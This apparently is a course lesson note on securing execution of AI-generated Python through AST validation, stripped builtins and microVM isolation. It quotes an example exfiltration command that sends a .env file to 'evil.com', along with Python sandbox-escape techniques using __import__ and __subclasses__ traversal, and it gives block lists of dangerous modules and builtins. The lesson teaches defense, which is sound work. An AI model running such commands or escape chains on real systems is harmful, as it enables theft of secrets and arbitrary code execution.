Week 16 • Day 1Week 16
Day 1:Code Execution Sandboxes, AST Validation & Escape Prevention
Battle-tested daily lesson note • 100% runnable code, interview Q&A, test suite & interactive quiz
Day 1: Code Execution Sandboxes, AST Validation & Escape Prevention
1. First-Principles Security: Why exec() Without AST & Process Isolation Is Remote Code Execution (RCE)
When an AI agent writes Python code for data analysis or metric calculation, executing LLM-generated Python directly inside the host process allows classic sandbox escapes:
- Direct OS/Subprocess Imports:
import os; os.system("curl ...") - Builtin Reflection:
__import__("subprocess").check_output(...) - Object Hierarchy Traversal (
__subclasses__):().__class__.__base__.__subclasses__()to locate<class 'os._wrap_close'>and recoversystem()without ever writing animportstatement!
Defense-in-Depth Architecture
- Layer 1 (Static AST Gate): Parse candidate code into an Abstract Syntax Tree (
ast.parse) and reject:- Any
ast.Importorast.ImportFromoutside an explicit math/data allowlist (math,statistics,json). - Any attribute access (
ast.Attribute) starting with_(blocks__class__,__base__,__subclasses__,__globals__,__builtins__). - Any call (
ast.Call) to forbidden builtins (eval,exec,compile,open,__import__,getattr,setattr).
- Any
- Layer 2 (Restricted Builtins Execution): Execute with
__builtins__stripped down to pure mathematical/collection functions (abs,min,max,sum,len,range,round,sorted,dict,list,float,int). - Layer 3 (In Production): Ephemeral microVM (
Firecracker,E2B,gVisor) with zero network egress and cgroup memory/CPU limits.
In Simple English: Why Running eval() or exec() on AI Code Gets You Hacked
Suppose an AI assistant writes Python code to solve a math problem, and you run exec(ai_code) directly on your main server:
- A tricked LLM could emit
import os; os.system("cat .env | curl evil.com")— instantly stealing all your company API keys and databases! - Two Defense Layers:
- AST Static Gate (
Pre-Check): Parse code into an Abstract Syntax Tree BEFORE execution and forbid dangerous imports (os,subprocess,socket) and builtins (eval,open,__import__). - Ephemeral Micro-Container / WASM Sandbox (
Isolation): Run untrusted code inside a locked Docker/Firecracker sandbox with zero internet access, read-only disk, 512MB RAM limit, and 5-second timeout!
- AST Static Gate (